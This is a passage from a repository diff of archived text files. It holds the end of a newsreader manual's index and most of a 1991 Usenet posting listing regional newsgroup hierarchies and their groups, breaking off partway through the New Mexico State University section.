NWERTHY.KEY 25 System Requirements 4 + Offline 29 Tabs 22 + Offline mail reader 29 Taglines 27 + Online 29 Technical support 4 + Packet mode 2, 23 TEMP 24 + Pathname 29 TMP 24 + Pc 29 Top 16 + PGP 26 Upload directory 6, 20 + Pick list 19, 25 Uploading a file 29 + Posting to newsgroup 15 Uploading a reply packet 10 + Print message 17 Uqwk 8 + Printer Uqwk commands 17 + eject page 24 UUEncoding 14 + lines per page 23 View File (F5) 24 + top margin 23 Word star control keys 18 + Printing the manual 7 Word Wrap 22 + Printing the registration Work directory 7, 20 + form 5 XXEncoding 14 + Quote formats 21 + QWK format 29 + Read News (F4) 11 + Read Stored (F6) 15 + Reading a message 18 + Reading messages 11 + errors 12 + Reading style 22 + Registering NewsWerthy 4 + Replies + reviewing 15 + Reply packet + creating 24 + upload directory 6, 20 + uploading 10 + Reply to message 13 + Restore Indexes 12 + Review Replies (F8) 15 + RFC1036 13 + ROT-13 12 + Save Attached File 16 + Save message 16 + Save to Text File 16 + Search for text in messages + 12 + Send Mail (F7) 15 + Set-up 6 + multiple 27 31 \ No newline at end of file diff --git a/textfiles.com/internet/o b/textfiles.com/internet/o new file mode 100644 index 00000000..7cfe58e8 --- /dev/null +++ b/textfiles.com/internet/o @@ -0,0 +1,2153 @@ +Xref: blister news.lists:184 news.groups:7461 news.announce.newusers:66 +Path: blister!jtsv16!torsqnt!news-server.csri.toronto.edu!rpi!think.com!samsung!news.cs.indiana.edu!purdue!uunet.uu.net +From: asp@uunet.uu.net (Andrew Partan) +Newsgroups: news.lists,news.groups,news.announce.newusers +Subject: Regional Newsgroup Hierarchies +Summary: Describes 128 regional hierarchies +Message-ID: <15405@ector.cs.purdue.edu> +Date: 25 Jul 91 23:16:05 GMT +Expires: 23 Oct 91 23:16:04 GMT +Sender: spaf@cs.purdue.EDU +Followup-To: asp@uunet.uu.net +Lines: 2138 +Approved: spaf@cs.purdue.EDU +Supersedes: <14701@ector.cs.purdue.edu> + + +Original-from: asp@uunet.uu.net (Andrew Partan) +[Most recent change: 15 Mar 1991 by asp@uunet.uu.net (Andrew Partan)] + +Introduction +------------ +There are a large number of regional hierarchies of newsgroups. +Most are very low volume. The only high volume hierarchy that I know of +is fj.*. + +Where known, I have tried to list someone who *may* know more about the +hierarchy than I do. + +Note that the "uunet" service carries most of these hierarchies. +Contact uunet!uunet-request for subscription details. + +Also note -- the lists in this article are totally unofficial and +possibly incomplete or inaccurate. I try to keep the lists up-to-date, +but make no guarantee that any of the information contained corresponds +with the named groups in any significant way. Corrections and comments +should be mailed directly to me (asp@uunet.uu.net, uunet!asp). + +This list is not for internal newsgroups that should not been seen +outside of your organization or university. If any newsgroups are +listed here that should not be, please let me know & they will be +removed from the next posting of this list. + +The following newsgroups have either changed or been added since the +last posting: + +ba houston north scot ucb +bln hut ny sdnet uch +ca info nyc sfnet uiuc +can kc nynex slo uk +capdist la oh srcext upenn +cos mcnc ont stgt ut +dfw mi pa sub uw +dn mn pdx swnet uxa +dnet nbg pgh triangle yale +eunet ncsc phl tub york +fj netmbx princeton tue zer +fl nil purdue tut +fnet nj qtp tx +fub nlnet rpi uberlin + +This list contains the following hierarchies: + +ab dtek milw ott triangle +al duke mit pa tub +athena edm mn pdx tue +atl essug mtl pgh tut +aus eunet nbg phl tx +austin fj ncsc pnw uberlin +ba fl ne princeton uc +bln fnet netmbx purdue ucb +boulder fub nil qtp uch +bu ga nj rpi uchi +ca gbg nlnet sac udel +can houston nmsu sat uiuc +capdist hsv no scot uk +chi hut nordunet scruz upenn +chv info north sdnet ut +cle kc nwu seattle utc +co ks ny sfnet utcs +cos kw nyc slo uw +csu la nynex srcext uxa +cth lou nz stgt va +cu ls oau stl wi +dc math oc sub yale +dfw mcnc oh swnet york +dk melb ok tba zer +dn mhk ont tn +dnet mi or tor + + +Ab +-- +Newsgroups in Alberta, Canada. + +ab.general Items of general interest in Alberta, Canada. +ab.jobs Jobs in Alberta, Canada. + +Al +-- +Newsgroups in Alabama, USA. + + + +Athena +------ +Newsgroups at Project Athena, MIT, Cambridge, MA, USA. For more +information, you can try contacting S. Tucker or +ambar@athena.mit.edu. + +athena.forsale Items for sale at MIT's Project Athena. +athena.housing Housing at MIT's Project Athena. +athena.misc Misc. at MIT's Project Athena. +athena.test Testing at MIT's Project Athena. + +Atl +--- +Newsgroups in Atlanta, Georgia, USA. + +atl.general Items of General interest in Atlanta, GA. +atl.jobs Jobs in Atlanta, GA. +atl.olympics The Olympics in Atlanta, GA. +atl.resumes Resumes in Atlanta, GA. +atl.test Testing in Atlanta, GA. + +Aus +--- +Newsgroups in Australia. For more information, you can try contacting +Robert Elz . + +aus.aarnet [Australian] +aus.acsnet Discussions of ACSnet (incl bug reports) [Australian] +aus.ai AI discussions [Australian] +aus.archives Descriptions of public access archives in Australia. +aus.auug AUUG Inc - Australian Unix User Group [Australian] +aus.aviation Planes, gliders, flying, etc. [Australian] +aus.bicycle Push bikes [Australian] +aus.comms Discussion about Academic Network Proposal [Australian] +aus.computers Misc computer types [Australian] +aus.computers.amiga Discussions about Commodore Amiga computers [Australian] +aus.computers.ibm-pc Discussions about the IBM pc & clones [Australian] +aus.conserve Conservation issues. [Australian] +aus.culture.china China discussions. [Australian] +aus.films Movies, Cinema, TV [Australian] +aus.flame Abusive noise, posted by morons. [Australian] +aus.followup Followups to aus.general & aus.wanted articles [Australian] +aus.footy ? [Australian] +aus.forsale Announcements of items for sale. [Australian] +aus.fps Fast Packet Switching [Australian] +aus.games Discussions of games. [Australian] +aus.games.roleplay Discussions of role playing games. [Australian] +aus.general General information, announcements, etc [Australian] +aus.genstat Genstat Stats Package [Australian] +aus.hi-fi Hi-Fi/Stereo stuff [Australian] +aus.jobs Jobs available & wanted [Australian] +aus.jokes Jokes, humour, and boring trivia [Australian] +aus.jokes.d Discussions of why that joke was no good [Australian] +aus.kermit The KERMIT file transfer protocol [Australian] +aus.lp Logic Programming [Australian] +aus.mac The Apple Macintosh computer [Australian] +aus.mail Mail systems, addressinc, &c [Australian] +aus.map ACSnet maps (Moderated) [Australian] +aus.mbio Molecular biology [Australian] +aus.music Music and related issues. [Australian] +aus.netstatus Status of local & international net links [Australian] +aus.news The news system [Australian] +aus.parallel Parallel processing [Australian] +aus.photo [Australian] +aus.politics Politics, debates, rational(?) arguments. [Australian] +aus.pyramid Pyramid computers [Australian] +aus.radio Amateur Radio [Australian] +aus.radio.amsat Amateur satellite radio [Australian] +aus.religion Discussions of, or related to, religions [Australian] +aus.scheme Scheme [Australian] +aus.sf Discussion of SF&F literature,media,fandom [Australian] +aus.sources Sources [Australian] +aus.spearnet South Pacific Educational & Research Net [Australian] +aus.sport Sports. [Australian] +aus.stats.s The S data analysis and graphics software [Australian] +aus.sun-works Sun Workstations [Australian] +aus.tex The TeX typesetting system [Australian] +aus.wanted Requests for sources, information, ... [Australian] + +Austin +------ +Newsgroups in Austin, Texas, USA. For more information, you can try +contacting Fletcher Mattox . + +austin.followup Followups for Austin, TX. +austin.forsale Items for sale in Austin, TX. +austin.general Items of general interest in Austin, TX. +austin.important Important issues in Austin, TX. +austin.news News in Austin, TX. +austin.talk Talk in Austin, TX. + +Ba +-- +Newsgroups in the Bay Area of California, USA. For more information, +you can try contacting Nick Sayer or checking +out the ba.news.* newsgroups. + +ba.announce Announcements of general interest to all readers. (Moderated) +ba.food Bay Area restaurants and eating places. +ba.general Announcements of general interest to all readers. +ba.internet Discussions about Bay Area Internet connectivity. +ba.market.computers For Sale/Wanted: Computers and software. +ba.market.housing For Sale/Rent/Wanted: Housing, land, roommates. +ba.market.misc For Sale/Wanted: Miscellaneous. +ba.market.vehicles For Sale/Wanted: Autos, cycles, trucks, etc. +ba.motss Newsgroup for Bay Area motss'ers. +ba.mountain-folk Living in the hills and mountains around the Bay Area. +ba.music Musical events in the Bay Area. +ba.news General issues of 'ba' Usenet administration. +ba.news.config Announcments and discussion of Bay Area connectivity. +ba.news.group Meta-discussions about newsgroups in 'ba' distribution. +ba.news.stats Bay Area USENET statistical and information postings. +ba.politics Political topics of interest to Bay Area readers. +ba.seminars Announcements of Bay Area seminars. +ba.singles Local newsgroup for single people. +ba.sports Discussion of sports in the Bay Area. +ba.test Tests of 'ba' distribution. (Some sites autorespond.) +ba.transportation Discussion of Bay Area transit/commute/driving issues. +ba.weather Weather in the Bay Area. +ba.windows.x X windows discussion/help. + +Bln +--- +Newsgroups in some unknown place. + +bln.general + +Boulder +------ +Newsgroups in Boulder, Colorado, USA. + +boulder.general Items of general interest to Boulder, CO. + +Bu +------ +Newsgroups at Boston University, Boston, MA. For more information, you +can try contacting Leonard (Len) H. Tower Jr. . + + + +Ca +-- +Newsgroups in California, USA. + +ca.driving California freeways and backroads. +ca.earthquakes What's shakin' in California. +ca.environment Environmental concerns in California. +ca.environment.earthquakes +ca.general Of general interest to readers in Calfornia only. +ca.news USENET status and usage in California. +ca.news.group Existing or proposed newsgroups for 'ca' distribution. +ca.politics Political topics of interest to California readers only. +ca.test Tests of 'ca' distribution articles. +ca.unix Unix discussion/help. +ca.wanted For Sale/Wanted postings throughout California. + +Can +--- +Newsgroups in Canada. + +can.ai Artificial intelligence in Canada. +can.canet.d An open forum for discussion of CA*net topics. (Moderated) +can.francais About the Francophone population (in French). +can.general Items of general interest to Canadians. +can.jobs Jobs in Canada. +can.politics Canadian politics. +can.sun-stroke Sun Microsystems Users in Canada. +can.usrgroup Unix user group information in Canada. +can.uucp Canadian uucp problems. +can.uucp.maps Canadian UUCP maps are posted here. (Moderated) + +Capdist +------- +Newsgroups in the Capitol District (Albany area) of New York, in New +York, USA. [Note: This is Capitol as in head city, not capital as in +money.] + +capdist.admin Administrative topics of capdist USENET. +capdist.announce Announcements for the capdist area. +capdist.general General topic postings for the NY capitol district. +capdist.misc Miscellaneous discussion topics in the capdist. +capdist.seminars Conferences and seminars in the local area. +capdist.test For testing the capdist distribution. + +Chi +--- +Newsgroups in Chicago, Illinois, USA. For more information, you can +try contacting Ron Heiby . + +chi.ai AI in Chicago. +chi.eats Group for discussion of Chicagoland restaurants. +chi.general General discussions, Chicago area, not forsale/wanted. +chi.mail Discussion of Chicago area email issues. +chi.places Group for announcements of Chicago area events. +chi.test USENET testing in Chicago. +chi.wanted Chicago area wanted and for-sale notices. +chi.weather Chicago area weather. + +Chv +--- +Newsgroups in Charlottesville, Virginia, USA. + +chv.general For folks in Charlottesville, Virginia. + +Cle +--- +Newsgroups in Cleveland, Ohio, USA. For more information, you can try +contacting Brandon Allbery. + +cle.general Items of general interest to Cleveland. + +Co +-- +Newsgroups in Colorado, USA. + +co.general Items of general interest to Colorado. +co.test Testing in Colorado. + +Cos +--- +Newsgroups in Colorado Springs, Colorado, USA. + +cos.general Items of general interest in Colorado Springs, CO, USA +cos.test Test group for Colorado Springs regional hierarchy + +Csu +--- +Newsgroups at Colorado State in Colorado, USA. For more information, +you can try contacting news@ccncsu.colostate.edu. + +csu.acm For student/local chapter of the ACM. +csu.cs General CS department announcements. +csu.cs.grads For computer science department grad students. +csu.cs.jobs Jobs available in the CS department. +csu.cs.labops Announcements for CS department lab operators. +csu.cs.systems Announcements about CS systems/networks. +csu.cs.undergrad For computer science department undergrads. +csu.general General topics. +csu.lance Engineering computer network topics. +csu.lance.ace Department of agricultural/chemical engineering topics. +csu.lance.atmos Department of atmospheric science topics. +csu.lance.ce Department of civil engineering topics. +csu.lance.ee Department of electrical engineering topics. +csu.lance.es Department of engineering science topics. +csu.lance.graphics Graphics topics within engineering. +csu.lance.ieee For student/local chapter on the IEEE. +csu.lance.me Department of mechanical engineering topics. +csu.lance.news General engineering news. +csu.lance.talk Extended discussions. +csu.lance.text Text processing topics within engineering. +csu.test Local testing. + +Cth +--- +Newsgroups at the Chalmers University of Technology, in Gothenburg, +Sweden. For more information, you can try contacting +d9bertil@dtek.chalmers.se. + +cth.general general +cth.test test messages + +Cu +-- +Newsgroups at the University of Colorado at Boulder, in Boulder, +Colorado, USA. For more information, you can try contacting +news@boulder.colorado.edu. + +cu.acm Local/student chapter of the ACM +cu.applmath Applied math announcements/discussion +cu.cs.clim ?? +cu.cs.commonloops CommonLoops users discussion +cu.cs.contest CS department programming contest announcements +cu.cs.general General CS department announcements/discussion +cu.cs.grads CS department announcements for grad students +cu.cs.macl MacLisp users discussion +cu.cs.ugrads CS department announcements for undergrads +cu.diversity ?? +cu.ece.grads Engineering/Computer Engineering grad students +cu.general General announcements and discussion +cu.hpai ?? +cu.ics ?? +cu.math Math department announcements +cu.mcdb ?? +cu.motif-talk Discussion about the Motif environment +cu.netstat Statistics from CU campus network +cu.nih.newsltr ?? +cu.ocs Optical Computing? +cu.slug Sun Local User's Group +cu.test Local testing +cu.users.dec Local DEC hardware users discussion +cu.users.tex Local TeX hardware users discussion +cu.users.ultrix Local Ultrix software users discussion +cu.users.xwindows Local X-windows software users discussion + +Dc +-- +Newsgroups in Washington DC, USA (and the general metro area around +Washington DC in Maryland and Virgina). + +dc.dining Dining in the Washington, DC area. +dc.forsale Items for sale in the Washington, DC area. +dc.general Items of general interest to the Washington, DC area. +dc.smithsonian Smithsonian related events in the Washington, DC area. +dc.test Testing in the Washington, DC area. + +Dfw +--- +Newsgroups in Dallas/Fort Worth, Texas, USA. For more information, you +can try contacting Greg Lewin or Mark Linimon + or Doug Davis . + +dfw.eats Dining in Dallas/Fort Worth. +dfw.flame Flaming in Dallas/Fort Worth. +dfw.forsale Items for sale in Dallas/Fort Worth. +dfw.general Items of general interest in Dallas/Fort Worth. +dfw.news USENET in Dallas/Fort Worth. +dfw.test Testing in Dallas/Fort Worth. + +Dk +--- +Newsgroups in Denmark. + +dk.foredrag 'foredrag' means lecture or presentation. +dk.general gereral +dk.kurser.dcomp courses in compurter communications?? +dk.test test messages + +Dn +-- +Newsgroups in some unknown place. + +dn.supers +dn.supers.disc + +Dnet +---- +Newsgroups in Germany, all in German. + +dnet.and.sub.general General information for dnet and subnet +dnet.archiv +dnet.atari Atari computers +dnet.backbone-news (Moderated) +dnet.checkgroups +dnet.comp.pcs PC computers +dnet.general General information for dnet +dnet.graphik Graphics (Moderated) +dnet.ham Group for D.A.R.C. = "Deutscher Amateur Radio Club" +dnet.inet Networking/Internet +dnet.mod-ki Artificial intelligence (Moderated) +dnet.news News/mail +dnet.test USENET testing in dnet. +dnet.witze Jokes +dnet.xnet.general + +Dtek +--- +Newsgroups at the Chalmers University of Technology, Computer +Technology, in Gothenburg, Sweden. For more information, you can try +contacting d9bertil@dtek.chalmers.se. + +dtek.buggar about found bugs +dtek.general general +dtek.info information +dtek.newsoft new software +dtek.test test messages + +Duke +---- +Newsgroups at Duke University, North Carolina, USA. For more +information, you can try contacting Gregory G. Woodbury +. + +duke.csdept Computer Science Department +duke.general Duke University General +duke.hacker programming and hardware topics +duke.systems system admin notices +duke.vlsi VLSI topics + +Edm +--- +Newsgroups in Edmonton, Alberta, Canada. + +edm.general Items of general interest in Edmonton, Alberta, Canada. +edm.usrgrp Unix Users Group in Edmonton, Alberta, Canada. + +Essug +----- +Newsgroups for the ESS User Group. + +essug.copt ESS User Group +essug.misc ESS User Group +essug.telco ESS User Group + +Eunet +----- +Newsgroups in Europe. For more information, you can try contacting +Piet Beertema or Daniel Karrenberg . + +eunet.bugs.4bsd Bug reports on 4.*bsd, limited (EUnet) "audience". +eunet.bugs.uucp Bug reports on uucp, specifically EUUG uucp. +eunet.checkgroups Only for central posting of checkgroups messages. (Moderated) +eunet.esprit Discussion/info about Esprit projects. +eunet.esprit.eurochip Esprit VLSI Design - Eurochip. +eunet.europen EurOpen-related topics, announcements, etc. +eunet.jokes Jokes only Europeans can (do?) understand... :-) +eunet.micro.acorn Discussion about Acorn micros. +eunet.misc Miscellaneous discussions (replaces eunet.general/followup). +eunet.newprod Announcements of new products of European interest. +eunet.news Group for news topics, limited to EUnet. +eunet.news.group Discussion on and proposals for new eunet newsgroups. +eunet.politics (European) political discussions (and flames!). +eunet.sources EUnet-wide (only!) group for posting sources. +eunet.test EUnet-wide test group. +eunet.works Workstations (specifically European) topics. + +Fj +-- +Newsgroups in Japan. Most of the discussion in these newsgroups is +carried on in Kanji and you need a Kanji newsreader to be able to read +them. For more information, you can try contacting +news@icsts1.osaka-u.ac.jp. + +fj.ai Artificial intelligence discussions. +fj.announce General announcements of interest to all. (Moderated) +fj.binaries.mac Encoded Macintosh programs in binary. +fj.binaries.misc Encoded programs in binary not covered elsewhere. +fj.binaries.msdos Encoded MS-DOS programs in binary.(Moderated) +fj.binaries.msdos.d Topics on softwares posted to fj.binary.msdos . +fj.books Books of all genres, shapes, and sizes. +fj.comp.arch Computer architecture. +fj.comp.comm Discussion about software & hardware for communications. +fj.comp.image Computer graphics, art, animation, image processing. +fj.comp.misc General topics about computers not covered elsewhere. +fj.comp.music Topics about computers and music. +fj.comp.oops Object Oriented Programming, System, etc. +fj.comp.parallel Discussion about parallel computing. +fj.comp.printers Printers, hardware & software. +fj.comp.texhax Discussion about TeXhax and delivery of mailing list. +fj.comp.text Text processing issues and methods. +fj.editor.emacs EMACS editors of different flavors. +fj.editor.misc Talk about editors. +fj.editor.sse Discussion about SSE (Simple Screen Editor). +fj.followup Followups to articles in fj.general. +fj.forsale Short, tasteful postings about items for sale. +fj.general *Important* and timely announcements of interest to all. +fj.guide.admin Junet guide for administrators. (Moderated) +fj.guide.general Junet guide. Rules, Convention, etc. (Moderated) +fj.guide.newusers Explanatory postings for new users. (Moderated) +fj.info-terms All sorts of terminals. +fj.jokes Joke and humor. +fj.junet General discussion about JUNET itself. +fj.jus Information about JUS. +fj.kanakan.misc Discussion about kana-kanji henkan. +fj.kanakan.wnn Discussion about Wnn kana-kanji henkan system. +fj.kanji Discussion about Kanji. +fj.kermit Discussion about kermit package. +fj.lan Local area network hardware and software. +fj.lang.ada Discussion about Ada*. +fj.lang.c Discussion about C. +fj.lang.forth Discussion about Forth. +fj.lang.lisp Discussion about LISP. +fj.lang.misc Different computer languages not specifically listed. +fj.lang.mod2 Discussion about Modula-2. +fj.lang.postscript PostScript language and related topics. +fj.lang.prolog Discussion about PROLOG. +fj.lang.st80 Discussion about Smalltalk 80. +fj.lectures Informative talks given to the news readers. +fj.living Discussions about various things in daily life. +fj.mail Proposed new mail/network standards. +fj.mail-lists.apollo Apollo workstation mailing list. (Moderated) +fj.mail-lists.common-lisp Common lisp mailing list from ARPA. (Moderated) +fj.mail-lists.connectionist Connectionist mailing list. (Moderated) +fj.mail-lists.info-japan Info-japan mailing list from ARPA. (Moderated) +fj.mail-lists.nihongo Nihongo mailing list from ARPA. (Moderated) +fj.mail-lists.occam Occam mailing list from ARPA. (Moderated) +fj.mail-lists.parallel comp.parallel mailing list. (Moderated) +fj.mail-lists.reduce Reduce mailing list. (Moderated) +fj.mail-lists.types Types mailing list from ARPA. (Moderated) +fj.mail-lists.x-window X window mailing list from ARPA. (Moderated) +fj.meetings announce for conference, workshop, etc. Not-moderated. +fj.misc Various discussions that there are no groups to match. +fj.net-people Announcements, requests, etc. about people on the net. +fj.news.adm Comments directed to news administrators. +fj.news.b Discussion about B news software. +fj.news.config Postings of system down times and configuration change. +fj.news.group Discussions and lists of newsgroups. +fj.news.lists News-related statistics and lists. +fj.news.map Various maps, including UUCP maps. +fj.news.misc Discussions of network news on JUNET itself. +fj.news.newsite Postings of new site announcements. +fj.news.sa Comments directed to system administrators. +fj.os.minix Discussion about the MINIX operating system. +fj.os.misc Discussion about operating systems not covered elsewhere. +fj.os.msdos Discussion about the MSDOS operating system. +fj.os.os9 Discussion about the OS9 operating system. +fj.papers Papers of all genres. +fj.ptt Information about PTT. +fj.questions.junet Questions especially about JUNET. +fj.questions.misc Questions about miscellaneous subjects. +fj.questions.unix Questions especially about UNIX. +fj.rec.aerospace About aviation. Airplane, airsports,,, +fj.rec.animation Discussion about animated movies. +fj.rec.autos Automobiles, automotive products and laws. +fj.rec.av High fidelity audio and video components. +fj.rec.baseball Discussion about baseball. +fj.rec.bikes Motorcycles and Bicycles, related products and laws. +fj.rec.comics The funnies, old and new. +fj.rec.food Food, wine, spirits, cooking, cookbooks, and recipes. +fj.rec.games Discussion about games and computer games. +fj.rec.games.scores Personal best scores of games and computer games. +fj.rec.ham topics about ham radio. +fj.rec.idol General topics about idol. +fj.rec.marine Marine recreation. Diving, swimming, yachting,,, +fj.rec.misc Recreational/participant topics not covered elsewhere. +fj.rec.movies Reviews and discussions of movies. +fj.rec.music Discussion about music. +fj.rec.music.classical Talk around classical music. +fj.rec.music.progressive Talk around Progressive rock. +fj.rec.mystery Talk about mystery. +fj.rec.photo Topics about cameras and photographs. +fj.rec.rail Discussion about railway & railroad. +fj.rec.sf Discussion about science fiction. +fj.rec.sports Topics about sports. +fj.rec.sports.football Talk around footballs. +fj.rec.sports.keiba About horseracing. +fj.rec.sports.prowrestling About prowrestling. +fj.rec.sports.ski About skiing. +fj.rec.travel Traveling all over the world. +fj.rec.tv Talk about Television and its shows. +fj.sci.astro Discussion about stars, planets and comets. +fj.sci.lang Natural languages, communication, etc. +fj.sci.math Mathematical discussions and pursuits. +fj.sci.misc Discussions about sciences not covered elsewhere.. +fj.soc.culture Group about (japanese?) culture. +fj.soc.law Topics on Low and right. +fj.soc.men-women Fairness ,Right, etc. between women and men. +fj.soc.misc Socially-oriented topics not covered elsewhere. +fj.soc.tech Topics on society and technology . +fj.sources For the posting of software packages & documentation. +fj.sources.d For any discussion of source postings. +fj.sources.mac Software for the Apple Macintosh. +fj.std Discussion about various standards. +fj.sys.famicom Discussion about Nintendo's Family Computer. +fj.sys.j3100 Discussion about TOSHIBA's J3100-family computers. +fj.sys.mac Discussion about the Apple Macintosh & Lisa. +fj.sys.misc Discussion about computers of all other kinds. +fj.sys.news Discussion about SONY NEWS workstation. +fj.sys.next NeXT workstation and related topics. +fj.sys.pc98 Discussion about NEC's PC-9800 & other computers. +fj.sys.sun Discussion about SUN workstation. +fj.sys.x68000 Discussion about Sharp's X-68000 & other computers. +fj.test Testing all over JUNET. Very boring. +fj.unix UNIX neophytes group. +fj.unix.wizards Discussions, bug reports, and fixes on and for UNIX. +fj.wanted Requests for things that are needed. +fj.windows.gmw GMW window systems. +fj.windows.misc miscellaneous window systems. +fj.windows.x About X window systems. + +Fl +-- +Newsgroups in Florida, USA. For more information you can try +contacting Andrew Mossberg . + +fl.announce Important announcements for everyone in Florida. +fl.attractions Florida attractions and entertainment. +fl.comp General computers in florida. +fl.comp.rep Technical computer repair or modifications in Florida. +fl.forsale Items for sale in Florida. +fl.general General topics in Florida. +fl.jobs The Florida job market. +fl.mail Mail systems, routers, paths .. in Florida. +fl.map Map entries for Florida sites. (Moderated) +fl.news News problems and features in Florida. +fl.sources Distribution of source code or documentation in Florida. +fl.test Testing workspace in Florida. +fl.travel Travel within Florida. +fl.uug UNIX user groups within Florida. +fl.yumyum Reviews and advice on restaurants in Florida. + +Fnet +---- +Newsgroups in France. + +fnet.afuu Discussions concerning Association Francaise d'Utilisateurs Unix +fnet.c3 +fnet.combinatoire +fnet.common-lp +fnet.culture +fnet.followup Followups in France. +fnet.general Items of general interest in France. +fnet.greco-prog +fnet.hypercubes +fnet.ia French AI discussions +fnet.lang +fnet.lelisp +fnet.sm90 +fnet.sps9 +fnet.test USENET testing in France. + +Fub +--- +Newsgroups in some unknown place. + +fub.general + +Ga +-- +Newsgroups in Georgia, USA. + +ga.forsale Items for sale in Georgia. +ga.general Items of general interest in Georgia. +ga.test Testing in Georgia. + +Gbg +--- +Newsgroups in Gothenburg, Sweden. For more information, you can try +contacting d9bertil@dtek.chalmers.se. + +gbg.general general + +Houston +------- +Newsgroups in Houston, Texas, USA. For more information, you can try +contacting Stan Barber . + +houston.eats Dining in Houston, TX. +houston.general Items of general interest in Houston, TX. +houston.news USENET in Houston, TX. +houston.personals Personals for Houston, Texas. +houston.singles Singles for Houston, Texas. +houston.test Testing in Houston, Texas. +houston.wanted Things wanted in Houston, TX. + +Hsv +--- +Newsgroups in Huntsville, Alabama, USA. + +hsv.general Items of general interest in Huntsville, Alabama. + +Hut +--- +Newsgroups at Helsinki University in Finland. + + + +Info +---- +Newsgroups in some unknown place. + +info.slug + +Kc +-- +Newsgroups in the Kansas City metro area, Missouri, USA. + +kc.misc Misc. postings in Kansas City. +kc.test USENET testing in Kansas City. + +Ks +-- +Newsgroups in Kansas, USA. + +ks.admin Administration in Kansas. +ks.misc Misc postings in Kansas. + +Kw +-- +Newsgroups in Kitchener/Waterloo, Ontario, Canada. + +kw.bb.sale Things for sale +kw.birthdays Happy birthday +kw.cpsr KW branch of Computer Professionals for Social Responsibility +kw.eats Restaurant reviews +kw.forsale Things for sale +kw.fun Fun stuff +kw.general General information in Kitchener-Waterloo +kw.housing Rooms for rent +kw.jobs Job postings +kw.micro Microcomputer discussion +kw.microvax DEC microvax users +kw.movies Film reviews +kw.theatre Theatre reviews, etc +kw.uucp Local uucp problems + +La +-- +Newsgroups in Los Angeles, California, USA. + +la.eats Dining in Los Angeles, CA. +la.general Items of general interest in Los Angeles, CA. +la.news USENET in Los Angeles, CA. +la.seminars Seminars in Los Angeles, CA. +la.slug Los Angeles Sun Lover's User Group. +la.test Testing in Los Angeles, CA. +la.wanted Things wanted in Los Angeles, CA. + +Lou +--- +Newsgroups in Louisiana, USA. + +lou.general Items of general interest in Louisiana. +lou.sun Suns in Louisiana. + +Ls +-- +Newsgroups in some unknown place. + +ls.amnesty Amnesty International?? in ?? +ls.olnews ?? in ?? +ls.ussr Postings on the Soviet Union??? + +Math +--- +Newsgroups at the Chalmers University of Technology, Math Department, +in Gothenburg, Sweden. For more information, you can try contacting +d9bertil@dtek.chalmers.se. + +math.general general +math.news about news (math is a central nntpserver on cth) + +Mcnc +---- +Newsgroups at the MicroElectronics Center of North Carolina, USA. For +more information, you can try contacting Gregory G. Woodbury +. + +mcnc.cad +mcnc.concert.video +mcnc.dcom +mcnc.general general notes at MCNC. +mcnc.ncsulab +mcnc.pc +mcnc.programmers +mcnc.staff notes to the staff at MCNC. +mcnc.systems system admin notices at MCNC. +mcnc.talks Seminars at MCNC. +mcnc.teleclass +mcnc.text + +Melb +---- +Newsgroups in Melbourne, Victoria, Australia. + +melb.general Items of general interest in Melbourne. +melb.seminars Seminar announcements in Melbourne. + +Mhk +--- +Newsgroups in Manhattan, Kansas, USA. + +mhk.forsale Items for sale. +mhk.talk.drivel Trivia, flames, drivel. +mhk.talk.misc Miscellaneous. +mhk.test Test messages. + +Mi +-- +Newsgroups in Michigan, USA. For more information, you can try +contacting Steve Simmons , 1-313-769-4086. + +mi.map USENET maps in Michigan. +mi.misc Catchall for Michigan. +mi.news USENET news and mail discussions. +mi.sun Sun Microsystems products in Michigan. +mi.wanted Jobs and products, wanted and offered. + +Milw +---- +Newsgroups in Milwaukee, Wisconsion, USA. + +milw.general Items of general interest in Milwaukee. + +MIT +--- +Newsgroups at MIT, in Cambridge, Massachusetts, USA. For more +information, you can try contacting Nick Papadakis . + +mit.bboard MIT's Bulletin Board. +mit.test For mit.all test USENET news messages. Boring. + +Mn +-- +Newsgroups in Minnesota, USA. + +mn.archive Archive sites in Minnesota. +mn.general Items of general interest to Minnesota. +mn.map Minnesota uucp map postings. (Moderated) +mn.net +mn.sources Minnesota program sources. +mn.test Testing in Minnesota. +mn.traffic Minnesota USENET traffic statistics. +mn.uum For discussion of Unix Users of MN related topics. + +Mtl +--- +Newsgroups in Montreal, Canada. + +mtl.general General stuff in Montreal. +mtl.test USENET Testing in Montreal. + +Nbg +--- +Newsgroups in some unknown place. + +nbg.general + +Ncsc +---- +Newsgroups at the North Carolina Supercomputing Center. For more +information, you can try contacting Gregory G. Woodbury +. + +ncsc.chemistry ?? +ncsc.general NC Supercomputing general topics. +ncsc.training ?? + +Ne +-- +Newsgroups in the New England area of the USA. For more information, +you can try contacting Leonard (Len) H. Tower Jr. . + +ne.food New England food and restaurant reviews. +ne.forsale Short postings on items for sale in New England. +ne.general New England general stuff. +ne.housing Short postings on housing wanted or available in NE. +ne.jobs New England job listings. +ne.nearnet.general Discuss the New England Academic and Research Network. +ne.nearnet.tech Technical operation and future of NEARnet. +ne.news New England news (USENET) administration. +ne.org.decus CRIMLUG discussion, the Southern NE Decus group. +ne.politics Discussio of NE political issues. +ne.seminars New England upcoming talks, seminars, etc. +ne.wanted New England want-ads. + +Netmbx +------ +Newsgroups in some unknown place. These might be in Germany. + +netmbx.pc + +Nil +--- +Newsgroups in some unknown place. + +nil.general +nil.maps + +Nj +-- +Newsgroups in New Jersey, USA. + +nj.config +nj.events Events in New Jersey. +nj.followup Followups to items of general interest in New Jersey. +nj.forsale Items for sale in New Jersey. +nj.general Items of general interest in New Jersey. +nj.housing Housing in New Jersey. +nj.market.autos +nj.market.computers +nj.market.housing +nj.market.misc +nj.misc +nj.politics Politics in New Jersey. +nj.test USENET Testing in New Jersey. +nj.wanted New Jersey want ads. +nj.weather Weather in New Jersey. + +Nlnet +----- +Newsgroups in the Netherlands. Conversation is usually in Dutch, but +sometimes in English. + +nlnet.aio A discussion group for/about AIO's. +nlnet.followup Follow-ups to nlnet.general should be posted here. +nlnet.general General discussions of dutch interest. +nlnet.misc Miscellaneous discussions of Dutch interest. +nlnet.pico +nlnet.test Test messages for nlnet (the Netherlands). + +Nmsu +---- +Newsgroups at New Mexico State University, in New Mexico, USA. + +nmsu.cc.general computer center general announcements +nmsu.cc.test computer center test +nmsu.crl.general computing research laboratory announcements +nmsu.crl.ksg knowledge systems group in crl at nmsu +nmsu.crl.nlp natural language processing group in crl at nmsu +nmsu.crl.test crl test group +nmsu.cs.ACM the acm student organization announcement group +nmsu.cs.general general cs department announcements +nmsu.cs.system cs department system announcements for uptime, etc. +nmsu.forsale for sale at nmsu +nmsu.general general announcements of interest at nmsu 